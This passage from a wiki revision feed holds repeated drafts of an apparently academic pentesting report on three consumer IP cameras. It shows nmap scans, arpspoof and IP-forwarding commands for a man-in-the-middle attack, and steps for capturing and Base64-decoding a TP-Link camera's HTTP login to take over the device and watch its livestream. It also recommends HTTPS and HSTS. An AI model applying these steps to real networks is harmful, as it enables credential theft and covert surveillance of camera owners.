Uses an App that is also downloadable on any phone to control and get access to its functionalities. In the app the user can adjust the settings of many functions and access the live feed. The camera provides the user with a Full HD 1080p resolution with added motion detection, which captures the next 30 seconds after it was triggered. The camera is also equipped with an integrated microphone and speakers, which allows the user to talk through the camera or with the camera. It uses a number of protocols namely TCP, UDP, ARP, TLS to name a few. It uses AES encryption with WPA2-PSK to ensure the safety of the data.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Risk:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The usage of the scan tools mentioned in the article led to no open ports for the ABUS and Blink-mini camera but showed 2 open ports for the TP-Liink camera, namely Port 80 and 8080 with the versions lighttpd 1.4.32 and Streamd.A42BB014AF19. Which could not be exploited with Metasploit. The actual problem which was stated before was the transmission of data through HTTP. The port 80 communicates the login information of the user to the browser via HTTP, which leads to it being easily readable if captured. The simplicity of executing an arpspoof (if the attacker has access to the local network) leads to this exploit being a major security flaw.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Countermeasure:&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
The easiest solution would be to migrate from HTTP to HTTPS which leads to the user information not being in plaintext. For this you need to aquire an SSL certificate and install it. Afterwards you need to ensure that everything routes to that HTTPS link not to the previous HTTP link, done by redirecting every request to the HTTPS link.&amp;lt;br&amp;gt;&lt;br /&gt;
Another solution would be to add HTTP security headers, namely HTTP Strict Transport Security (HSTS) which enforces the use of HTTPS connections if available instead ot plain text HTTP ones.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
*https://www.invicti.com/blog/web-security/http-security-headers/&lt;br /&gt;
*https://www.brafton.com/blog/distribution/how-to-convert-http-to-https-a-quick-guide/&lt;br /&gt;
*https://www.bedienungsanleitu.ng/tp-link/tl-nc250/anleitung?p=51&lt;br /&gt;
*https://support.blinkforhome.com/en_US/before-you-begin/blink-technical-specifications&lt;br /&gt;
*https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10373</id>
		<title>IP Cameras Pentesting Report</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10373"/>
		<updated>2022-07-13T21:36:21Z</updated>

		<summary type="html">&lt;p&gt;JKasser: /* Exploitation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Article is a comprehensive descirption of a pentesting process regarding three IP Cameras ABUS PPIC32020, Blink-Mini and TP-Link NC200. In the further course of this Report the Methology of the Information Gathering Process will be pointed out, afterwards the gathered information will be analysed. With the analysis of the gathered information vulnerabilities will be pointed out. We will form attack vectors, exploit this vulnerabilites and recommend countermesaures for the vendors to make their systems more secure.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
In order to perform the Exploits the following tools were needed. &lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Operating System:&amp;lt;/b&amp;gt;&lt;br /&gt;
** Kali Linux 2022.2&lt;br /&gt;
* &amp;lt;b&amp;gt;Tools:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://nmap.org/man/de/index.html NMAP]&lt;br /&gt;
** [https://www.wireshark.org/ Wireshark]&lt;br /&gt;
** [https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/ Mount a Man in the Middle Attack (MitM)]&lt;br /&gt;
* &amp;lt;b&amp;gt;Cameras:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera ABUS PPIC32020]&lt;br /&gt;
** [https://www.amazon.de/wir-prasentieren-blink-mini-eine-kompakte-intelligente-plug-in-uberwachungskamera-fur-den-innenbereich-mit-1080p-hd-video-und-bewegungserkennung-die-mit-alexa-funktioniert/dp/B07X37DT9M Blink Mini]&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In this chapter, we will demonstrate how we were able to extract information about the target devices, form attack vectors and exploit them afterwards.&lt;br /&gt;
&lt;br /&gt;
=== Methodology ===&lt;br /&gt;
&lt;br /&gt;
==== Step 1: NMAP ====&lt;br /&gt;
&lt;br /&gt;
We used NMAP to gather as much information as possible about the target systems. This includes IP Addresses, open Ports, Operating Systems, Services and many more. This part is crucial to gain a better understanding of how the camera works and is neccessary to perform sophisticated attacks to extract information or gain access.&lt;br /&gt;
&lt;br /&gt;
Nmap (Network Mapper) is a network scanner created by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich).[4] Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses.[5]&lt;br /&gt;
&lt;br /&gt;
Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection,[6] vulnerability detection,[6] and other features. Nmap can adapt to network conditions including latency and congestion during a scan. [https://en.wikipedia.org/wiki/Nmap [1]]&lt;br /&gt;
&lt;br /&gt;
To gather information about the target systems we used the following commands:&lt;br /&gt;
&lt;br /&gt;
 nmap -sP [Network Address/Subnetmask]                Network Scan --&amp;gt; To discover the IP addresses of the target system inside the LAN&lt;br /&gt;
 nmap -sS -F [IP Address]                             TCP-SYN-Port-Scan (Host-Fast-Scan) --&amp;gt; Discovers open ports on target system&lt;br /&gt;
 nmap -sV [IP Address]                                Service Scan --&amp;gt; To discover the services listening on the open ports&lt;br /&gt;
 nmap -O [IP Address]                                 Operating System Scan --&amp;gt; Guesses the Operating System running on target host (Based on OS Fingerprints)&lt;br /&gt;
 nmap -Pn -sV --script vuln [IP Address]              Discovers possible vulnerabilities based on already known exploits for the specific service&lt;br /&gt;
&lt;br /&gt;
==== Step 2: Man in the Middle (MitM) ====&lt;br /&gt;
&lt;br /&gt;
In order to get a better understanding of how the architecture of the service provided by the IP Cameras works, we mounted a Man in the Middle Attack to gain information about how and where the camera connects to and how it deliveres their service to the endpoints (in our case the ABUS Camera used a [https://mobil.abus.com/de/Service/Service-Mediathek/ABUS-Apps Smartphone App] to connect and configure the camera and the two other used Web Services). To mount the MitM attack we utilized ARP Spoofing which can easily be done with the arpspoof command.&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i [Your network interface] -t [Target IP] [The IP you pretend to be]&lt;br /&gt;
&lt;br /&gt;
In order to be able to completely execute the MitM attack, you need to enable IP forwarding otherwise the packets would be sent to you but would never arrive at their destination. To do this, enter the following command:&lt;br /&gt;
&lt;br /&gt;
 sysctl -w net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
If the attack was mounted correctly, you should be able to capture the traffic between the two endpoints you mounted the attack (e.g. with Wireshark).&lt;br /&gt;
&lt;br /&gt;
In our case, we mounted two MitM attacks, the first one between the camera and the gateway, the second one between the smartphone or endpoint and the gateway to understand fully where and how the service connects to to provide its capabilities.&lt;br /&gt;
&lt;br /&gt;
==== Step 3: Reverse DNS Lookup &amp;amp; Geo Locator ====&lt;br /&gt;
&lt;br /&gt;
When viewing the captured traffic we stumbled over a lot of remote IP Addresses where the communication takes place. Therefore, we wanted to know the Domain of the Webservice the Camera is communicating with. To achieve this, we used the following, free to use, tools:&lt;br /&gt;
&lt;br /&gt;
* [https://mxtoolbox.com/ReverseLookup.aspx Reverse DNS Lookup]&lt;br /&gt;
* [https://www.iplocation.net/ Geo Locator of IP Addresses]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Step 4: Look through the, open source, firmware of the cameras (if available) ====&lt;br /&gt;
&lt;br /&gt;
To finish our research we searched for any open and available firmware packages of any of the given cameras provided by the manifacturer. &lt;br /&gt;
&lt;br /&gt;
Firmware: &lt;br /&gt;
&lt;br /&gt;
* [https://support.abus-sc.com/knowledge-base/aktuelle-firmware-software-apps-und-hilfs-programme/ ABUS PPIC32020]&lt;br /&gt;
* [https://www.tp-link.com/at/support/download/nc200/#Firmware TP-Link NC200]&lt;br /&gt;
* Blink Mini (no open and accessible firmware found)&lt;br /&gt;
&lt;br /&gt;
=== Gathered Information === &lt;br /&gt;
&lt;br /&gt;
==== NMAP ==== &lt;br /&gt;
&lt;br /&gt;
First of all, it is important to state that the ABUS Camera used two IP interfaces for their connection to the different services therefore two IP addresses needed to be investigated. Why and how this camera uses and needs two addresses will be discussed afterwards.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin:auto&amp;quot;&lt;br /&gt;
|+ NMAP Information&lt;br /&gt;
|-&lt;br /&gt;
! &amp;lt;b&amp;gt;NMAP Command&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;ABUS PPIC32020&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;TP-Link NC200&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;Blink Mini&amp;lt;/b&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Port Scan || [[File:ABUS_Port1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Port2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that all ports on both IP Addresses are closed. || [[File:TP_Service.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that two ports (http and http-proxy) are open with the services lighttpd running. This indicates that the Camera hosts a web service. || [[File:Blink_OS_Port.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that no ports are open and accessible.&lt;br /&gt;
|-&lt;br /&gt;
| OS Scan || [[File:ABUS_OS1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_OS2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; No OS Detection available since there are to many OS fingerprints. Same result with aggressive OS Guess. || [[File:TP_OS.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; OS Details: [https://openwrt.org/releases/8.09/notes-8.09 OpenWrt Kamikaze 8.09] || [[File:Blink_OS_Port.png]] &amp;lt;br&amp;gt; &amp;lt;br&amp;gt; No definite OS Guess, some suggestions.&lt;br /&gt;
|-&lt;br /&gt;
| Vulnerability Scan || [[File:ABUS_Vuln1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Vuln2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]. || [[File:TP_Vuln.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;  Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002] || [[File:Blink_Vuln.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Man in the Middle, Reverse DNS Query and Geo Location ====&lt;br /&gt;
&lt;br /&gt;
* ABUS PPIC32020&lt;br /&gt;
** Smartphone App connects to: &lt;br /&gt;
*** 142.251.39.74&lt;br /&gt;
**** Domain: bud02s39-in-f10.1e100.net.&lt;br /&gt;
**** Located in: Budapest, Ungarn&lt;br /&gt;
*** 35.169.53.92&lt;br /&gt;
**** Domain: ec2-35-169-53-92.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Dallas, Texas, United States &lt;br /&gt;
*** 44.195.176.7&lt;br /&gt;
**** Domain: ec2-44-195-176-7.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Ashburn, Virginia, United States&lt;br /&gt;
** Camera connects to: &lt;br /&gt;
*** 176.34.104.236&lt;br /&gt;
**** Domain: ec2-176-34-104-236.eu-west-1.compute.amazonaws.com&lt;br /&gt;
**** Located in: Dublin, Leinster, Ireland&lt;br /&gt;
*** 239.255.255.250&lt;br /&gt;
**** Multicast Address used by SSDP&lt;br /&gt;
&lt;br /&gt;
==== Behaviour of ABUS PPIC32020 ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located inside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:InsideNetwork.jpg]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located inside the network and wants to connect to the camera, the main data stream stays inside the LAN.&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located outside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:OutsideNetwork.jpg]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located outside the network and wants to connect to the camera, the main data stream gets hosted to an AWS Cloud Server where the App fetches the data.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
First of all, to exploit the vunerability we have discovered for the TP-LINK camera, you have to be in the same network as the target machine.&lt;br /&gt;
After, we found out the correct IP address of the target device, we basically did the man in the middle attack and arp spoofing. We as the attacker claimed to be the gateway for the target machine and the same the other way around. After that, we captured the data with Wireshark, between the two components. For this to work you have to capture in the same moment as the login process of the user. Because of the HTTP vulnerabilty which the TP-LINK camera has we could see on the post request, which was on the port 80,the login credentials. On the one hand, the username was transmitted in plaintext , but on the other hand the password was sent encoded in Base64. Encoding without encrypting does not ensure you security so we were able to easily decode the password by an online tool.&lt;br /&gt;
&lt;br /&gt;
Now with all the data we have collected as the attacker, you basically have full acess to the camera. Meaning, you can easily change the password and lock the users account. Secondly, with the acces to livestream of the camera you can observe the victim any time. Furthermore, you have the access to all the other additional functions that the camera provides.&lt;br /&gt;
&lt;br /&gt;
== Conclusion, Report and recommended Countermeasures ==&lt;br /&gt;
&lt;br /&gt;
The combined number of cameras tested are 3, all with their own functionalities.&lt;br /&gt;
&lt;br /&gt;
ABUS PPIC32020:&lt;br /&gt;
Uses an App that is downloadable on any phone, to control it. The user has the ability to move the camera to adjust the image that is seen. It provides the user with a Full HD 1080p resolution and addtionally it has night vision and it can also activate automatically via motion detection. It has an integrated microphone and speakers. The camera uses a number of protocols, namely: TCP/IP, UDP, SMTP, NTP, DHCP, ARP. Furthermore to encrypt the transmitted data it uses AES 128bit Encryption with WPA/WPA2-PSK. As it is an IP-camera it connects to your local internet and has 2 ways of delivering data to the user, which are further elaborated in the &amp;quot;Behaviour of ABUS PPIC32020&amp;quot; section of this article.&lt;br /&gt;
&lt;br /&gt;
TP-LINK NC250:&lt;br /&gt;
Uses an App or the web browser to connect to the camera and to control it. It provides the user with an HD 720p resolution and comes with night vision capabilities. The camera uses protocols such as TCP and UDP to transport data. To encrypt the travelling data it uses WEP and WPA-PSK/WPA2-PSK. It also connects to your local internet and creates a local web server where it fetches the data needed. This sent via HTTP which leads to some issues addressed later in this article.&lt;br /&gt;
&lt;br /&gt;
Blink-Mini:&lt;br /&gt;
Uses an App that is also downloadable on any phone to control and get access to its functionalities. In the app the user can adjust the settings of many functions and access the live feed. The camera provides the user with a Full HD 1080p resolution with added motion detection, which captures the next 30 seconds after it was triggered. The camera is also equipped with an integrated microphone and speakers, which allows the user to talk through the camera or with the camera. It uses a number of protocols namely TCP, UDP, ARP, TLS to name a few. It uses AES encryption with WPA2-PSK to ensure the safety of the data.&lt;br /&gt;
&lt;br /&gt;
Risk:&lt;br /&gt;
The usage of the scan tools mentioned in the article led to no open ports for the ABUS and Blink-mini camera but showed 2 open ports for the TP-Liink camera, namely Port 80 and 8080 with the versions lighttpd 1.4.32 and Streamd.A42BB014AF19. Which could not be exploited with Metasploit. The actual problem which was stated before was the transmission of data through HTTP. The port 80 communicates the login information of the user to the browser via HTTP, which leads to it being easily readable if captured. The simplicity of executing an arpspoof (if the attacker has access to the local network) leads to this exploit being a major security flaw.&lt;br /&gt;
&lt;br /&gt;
Countermeasure:&lt;br /&gt;
The easiest solution would be to migrate from HTTP to HTTPS which leads to the user information not being in plaintext. For this you need to aquire an SSL certificate and install it. Afterwards you need to ensure that everything routes to that HTTPS link not to the previous HTTP link, done by redirecting every request to the HTTPS link.&lt;br /&gt;
Another solution would be to add HTTP security headers, namely HTTP Strict Transport Security (HSTS) which enforces the use of HTTPS connections if available instead ot plain text HTTP ones.&lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
*https://www.invicti.com/blog/web-security/http-security-headers/&lt;br /&gt;
*https://www.brafton.com/blog/distribution/how-to-convert-http-to-https-a-quick-guide/&lt;br /&gt;
*https://www.bedienungsanleitu.ng/tp-link/tl-nc250/anleitung?p=51&lt;br /&gt;
*https://support.blinkforhome.com/en_US/before-you-begin/blink-technical-specifications&lt;br /&gt;
*https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10322</id>
		<title>IP Cameras Pentesting Report</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10322"/>
		<updated>2022-07-13T13:41:29Z</updated>

		<summary type="html">&lt;p&gt;JKasser: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Article is a comprehensive descirption of a pentesting process regarding three IP Cameras ABUS PPIC32020, Blink-Mini and TP-Link NC200. In the further course of this Report the Methology of the Information Gathering Process will be pointed out, afterwards the gathered information will be analysed. With the analysis of the gathered information vulnerabilities will be pointed out. We will form attack vectors, exploit this vulnerabilites and recommend countermesaures for the vendors to make their systems more secure.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
In order to perform the Exploits the following tools were needed. &lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Operating System:&amp;lt;/b&amp;gt;&lt;br /&gt;
** Kali Linux 2022.2&lt;br /&gt;
* &amp;lt;b&amp;gt;Tools:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://nmap.org/man/de/index.html NMAP]&lt;br /&gt;
** [https://www.wireshark.org/ Wireshark]&lt;br /&gt;
** [https://linuxhint.com/arp_spoofing_using_man_in_the_middle_attack/ Mount a Man in the Middle Attack (MitM)]&lt;br /&gt;
* &amp;lt;b&amp;gt;Cameras:&amp;lt;/b&amp;gt;&lt;br /&gt;
** [https://www.abus.com/at/Sicherheit-Zuhause/Videoueberwachung/Ueberwachungskameras/WLAN-Netzwerkkameras/WLAN-Schwenk-Neige-Kameras/ABUS-Smart-Security-World-WLAN-Innen-Schwenk-Neige-Kamera ABUS PPIC32020]&lt;br /&gt;
** [https://www.amazon.de/wir-prasentieren-blink-mini-eine-kompakte-intelligente-plug-in-uberwachungskamera-fur-den-innenbereich-mit-1080p-hd-video-und-bewegungserkennung-die-mit-alexa-funktioniert/dp/B07X37DT9M Blink Mini]&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
In this chapter, we will demonstrate how we were able to extract information about the target devices, form attack vectors and exploit them afterwards.&lt;br /&gt;
&lt;br /&gt;
=== Methodology ===&lt;br /&gt;
&lt;br /&gt;
==== Step 1: NMAP ====&lt;br /&gt;
&lt;br /&gt;
We used NMAP to gather as much information as possible about the target systems. This includes IP Addresses, open Ports, Operating Systems, Services and many more. This part is crucial to gain a better understanding of how the camera works and is neccessary to perform sophisticated attacks to extract information or gain access.&lt;br /&gt;
&lt;br /&gt;
Nmap (Network Mapper) is a network scanner created by Gordon Lyon (also known by his pseudonym Fyodor Vaskovich).[4] Nmap is used to discover hosts and services on a computer network by sending packets and analyzing the responses.[5]&lt;br /&gt;
&lt;br /&gt;
Nmap provides a number of features for probing computer networks, including host discovery and service and operating system detection. These features are extensible by scripts that provide more advanced service detection,[6] vulnerability detection,[6] and other features. Nmap can adapt to network conditions including latency and congestion during a scan. [https://en.wikipedia.org/wiki/Nmap [1]]&lt;br /&gt;
&lt;br /&gt;
To gather information about the target systems we used the following commands:&lt;br /&gt;
&lt;br /&gt;
 nmap -sP [Network Address/Subnetmask]                Network Scan --&amp;gt; To discover the IP addresses of the target system inside the LAN&lt;br /&gt;
 nmap -sS -F [IP Address]                             TCP-SYN-Port-Scan (Host-Fast-Scan) --&amp;gt; Discovers open ports on target system&lt;br /&gt;
 nmap -sV [IP Address]                                Service Scan --&amp;gt; To discover the services listening on the open ports&lt;br /&gt;
 nmap -O [IP Address]                                 Operating System Scan --&amp;gt; Guesses the Operating System running on target host (Based on OS Fingerprints)&lt;br /&gt;
 nmap -Pn -sV --script vuln [IP Address]              Discovers possible vulnerabilities based on already known exploits for the specific service&lt;br /&gt;
&lt;br /&gt;
==== Step 2: Man in the Middle (MitM) ====&lt;br /&gt;
&lt;br /&gt;
In order to get a better understanding of how the architecture of the service provided by the IP Cameras works, we mounted a Man in the Middle Attack to gain information about how and where the camera connects to and how it deliveres their service to the endpoints (in our case the ABUS Camera used a [https://mobil.abus.com/de/Service/Service-Mediathek/ABUS-Apps Smartphone App] to connect and configure the camera and the two other used Web Services). To mount the MitM attack we utilized ARP Spoofing which can easily be done with the arpspoof command.&lt;br /&gt;
&lt;br /&gt;
 arpspoof -i [Your network interface] -t [Target IP] [The IP you pretend to be]&lt;br /&gt;
&lt;br /&gt;
In order to be able to completely execute the MitM attack, you need to enable IP forwarding otherwise the packets would be sent to you but would never arrive at their destination. To do this, enter the following command:&lt;br /&gt;
&lt;br /&gt;
 sysctl -w net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
If the attack was mounted correctly, you should be able to capture the traffic between the two endpoints you mounted the attack (e.g. with Wireshark).&lt;br /&gt;
&lt;br /&gt;
In our case, we mounted two MitM attacks, the first one between the camera and the gateway, the second one between the smartphone or endpoint and the gateway to understand fully where and how the service connects to to provide its capabilities.&lt;br /&gt;
&lt;br /&gt;
==== Step 3: Reverse DNS Lookup &amp;amp; Geo Locator ====&lt;br /&gt;
&lt;br /&gt;
When viewing the captured traffic we stumbled over a lot of remote IP Addresses where the communication takes place. Therefore, we wanted to know the Domain of the Webservice the Camera is communicating with. To achieve this, we used the following, free to use, tools:&lt;br /&gt;
&lt;br /&gt;
* [https://mxtoolbox.com/ReverseLookup.aspx Reverse DNS Lookup]&lt;br /&gt;
* [https://www.iplocation.net/ Geo Locator of IP Addresses]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==== Step 4: Look through the, open source, firmware of the cameras (if available) ====&lt;br /&gt;
&lt;br /&gt;
To finish our research we searched for any open and available firmware packages of any of the given cameras provided by the manifacturer. &lt;br /&gt;
&lt;br /&gt;
Firmware: &lt;br /&gt;
&lt;br /&gt;
* [https://support.abus-sc.com/knowledge-base/aktuelle-firmware-software-apps-und-hilfs-programme/ ABUS PPIC32020]&lt;br /&gt;
* [https://www.tp-link.com/at/support/download/nc200/#Firmware TP-Link NC200]&lt;br /&gt;
* Blink Mini (no open and accessible firmware found)&lt;br /&gt;
&lt;br /&gt;
=== Gathered Information === &lt;br /&gt;
&lt;br /&gt;
==== NMAP ==== &lt;br /&gt;
&lt;br /&gt;
First of all, it is important to state that the ABUS Camera used two IP interfaces for their connection to the different services therefore two IP addresses needed to be investigated. Why and how this camera uses and needs two addresses will be discussed afterwards.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin:auto&amp;quot;&lt;br /&gt;
|+ NMAP Information&lt;br /&gt;
|-&lt;br /&gt;
! &amp;lt;b&amp;gt;NMAP Command&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;ABUS PPIC32020&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;TP-Link NC200&amp;lt;/b&amp;gt; !! &amp;lt;b&amp;gt;Blink Mini&amp;lt;/b&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
| Port Scan || [[File:ABUS_Port1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Port2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that all ports on both IP Addresses are closed. || [[File:TP_Service.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that two ports (http and http-proxy) are open with the services lighttpd running. This indicates that the Camera hosts a web service. || [[File:Blink_OS_Port.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; We can see that no ports are open and accessible.&lt;br /&gt;
|-&lt;br /&gt;
| OS Scan || [[File:ABUS_OS1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_OS2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; No OS Detection available since there are to many OS fingerprints. Same result with aggressive OS Guess. || [[File:TP_OS.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; OS Details: [https://openwrt.org/releases/8.09/notes-8.09 OpenWrt Kamikaze 8.09] || [[File:Blink_OS_Port.png]] &amp;lt;br&amp;gt; &amp;lt;br&amp;gt; No definite OS Guess, some suggestions.&lt;br /&gt;
|-&lt;br /&gt;
| Vulnerability Scan || [[File:ABUS_Vuln1.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; [[File:ABUS_Vuln2.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]. || [[File:TP_Vuln.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt;  Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002] || [[File:Blink_Vuln.png]] &amp;lt;br&amp;gt;&amp;lt;br&amp;gt; Only output: [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1002 CVE-2011-1002]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Man in the Middle, Reverse DNS Query and Geo Location ====&lt;br /&gt;
&lt;br /&gt;
* ABUS PPIC32020&lt;br /&gt;
** Smartphone App connects to: &lt;br /&gt;
*** 142.251.39.74&lt;br /&gt;
**** Domain: bud02s39-in-f10.1e100.net.&lt;br /&gt;
**** Located in: Budapest, Ungarn&lt;br /&gt;
*** 35.169.53.92&lt;br /&gt;
**** Domain: ec2-35-169-53-92.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Dallas, Texas, United States &lt;br /&gt;
*** 44.195.176.7&lt;br /&gt;
**** Domain: ec2-44-195-176-7.compute-1.amazonaws.com.&lt;br /&gt;
**** Located in: Ashburn, Virginia, United States&lt;br /&gt;
** Camera connects to: &lt;br /&gt;
*** 176.34.104.236&lt;br /&gt;
**** Domain: ec2-176-34-104-236.eu-west-1.compute.amazonaws.com&lt;br /&gt;
**** Located in: Dublin, Leinster, Ireland&lt;br /&gt;
*** 239.255.255.250&lt;br /&gt;
**** Multicast Address used by SSDP&lt;br /&gt;
&lt;br /&gt;
==== Behaviour of ABUS PPIC32020 ====&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located inside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:InsideNetwork.jpg]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located inside the network and wants to connect to the camera, the main data stream stays inside the LAN.&lt;br /&gt;
* &amp;lt;b&amp;gt;Smartphone located outside Network:&amp;lt;/b&amp;gt;&lt;br /&gt;
[[File:OutsideNetwork.jpg]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
If the smartphone with the app is located outside the network and wants to connect to the camera, the main data stream gets hosted to an AWS Cloud Server where the App fetches the data.&lt;br /&gt;
&lt;br /&gt;
== Exploitation ==&lt;br /&gt;
&lt;br /&gt;
Euer part :)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Conclusion, Report and recommended Countermeasures == &lt;br /&gt;
&lt;br /&gt;
== Courses ==&lt;br /&gt;
&lt;br /&gt;
* [[A course where this documentation was used]] (2017, 2018)&lt;br /&gt;
* [[Another one]] (2018)&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://wikipedia.org&lt;br /&gt;
* https://google.com&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>JKasser</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=IP_Cameras_Pentesting_Report&amp;diff=10321</id>
		<title>IP Cameras Pentesting Report</title>
